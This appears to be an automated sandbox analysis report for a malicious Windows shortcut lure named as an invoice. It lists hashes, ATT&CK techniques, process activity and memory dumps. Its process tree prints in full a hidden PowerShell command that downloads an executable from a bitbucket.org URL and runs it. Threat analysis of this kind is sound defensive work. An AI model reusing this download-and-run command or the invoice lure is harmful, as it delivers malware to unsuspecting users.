0a37332f204930e2f59f4c8ba8cc07ca972135e4d7bcb09e1a33eaad47efeb97

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
21/05/2024, 03:44

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General

Target

InvoiceandLast 4 Digit CC.lnk
Size

1KB
MD5

37fc383dd527ddd05fffdb60e32289a3
SHA1

a88265fac4df3c33048e0fb556f7add82ae10ad8
SHA256

0a37332f204930e2f59f4c8ba8cc07ca972135e4d7bcb09e1a33eaad47efeb97
SHA512

4265ea4d4b889468bb359058eef325566e8e44dd2d6bfdbf6a5e0573d5ff1cea511961342e11d77c0a317d7372121d008f2e0cb08a6167f5a4d555756758f40c

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2744	powershell.exe
2600	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2744	powershell.exe
2600	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2744	powershell.exe
Token: SeDebugPrivilege	2600	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2724 wrote to memory of 2744	2724	cmd.exe	29
PID 2724 wrote to memory of 2744	2724	cmd.exe	29
PID 2724 wrote to memory of 2744	2724	cmd.exe	29
PID 2744 wrote to memory of 2600	2744	powershell.exe	30
PID 2744 wrote to memory of 2600	2744	powershell.exe	30
PID 2744 wrote to memory of 2600	2744	powershell.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\InvoiceandLast 4 Digit CC.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:2724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden curl https://bitbucket.org/sharedocs/newdoc/downloads/Invoicesbv..exe -o C:\Windows\Temp\Debug.exe ;Start-Process C:\Windows\Temp\Debug.exe
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2744
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden curl https://bitbucket.org/sharedocs/newdoc/downloads/Invoicesbv..exe -o C:\Windows\Temp\Debug.exe
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2600

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2744-38-0x000007FEF5BFE000-0x000007FEF5BFF000-memory.dmp

Filesize
4KB

Download
memory/2744-39-0x000000001B640000-0x000000001B922000-memory.dmp

Filesize
2.9MB

Download
memory/2744-41-0x000007FEF5940000-0x000007FEF62DD000-memory.dmp

Filesize
9.6MB

Download
memory/2744-42-0x000007FEF5940000-0x000007FEF62DD000-memory.dmp

Filesize
9.6MB

Download
memory/2744-43-0x000007FEF5940000-0x000007FEF62DD000-memory.dmp

Filesize
9.6MB

Download
memory/2744-44-0x000007FEF5940000-0x000007FEF62DD000-memory.dmp

Filesize
9.6MB

Download
memory/2744-40-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download
memory/2744-45-0x000007FEF5940000-0x000007FEF62DD000-memory.dmp

Filesize
9.6MB

Download
memory/2744-50-0x000007FEF5940000-0x000007FEF62DD000-memory.dmp

Filesize
9.6MB

Download